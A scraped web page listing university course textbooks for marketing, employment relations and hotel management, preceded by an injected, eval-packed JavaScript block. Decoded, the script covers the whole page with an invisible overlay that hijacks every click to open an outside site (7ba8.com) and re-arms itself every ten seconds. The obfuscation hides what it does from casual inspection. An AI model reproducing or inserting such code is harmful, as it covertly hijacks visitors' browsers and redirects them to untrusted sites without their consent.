<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>1.1003MKT / Marketing: Elliot, Rundle-Thiele, Waller, (2012). Wiley – 2nd edition
2.1003MKT /Loudoun, R., McPhail R., & Wilkinson, A, 2009. Introduction to Employment Relations, 2ndEd, Pearson Australia, Frenchs Forest
3.1209HSL Introduction to Hotel Management (Second edition 2012)
4.2208HSL Davis, B., Lockwood, A., Pantelidis, I., & Alcot, P. (2008). Food and Beverage Management. London: Heinmann.
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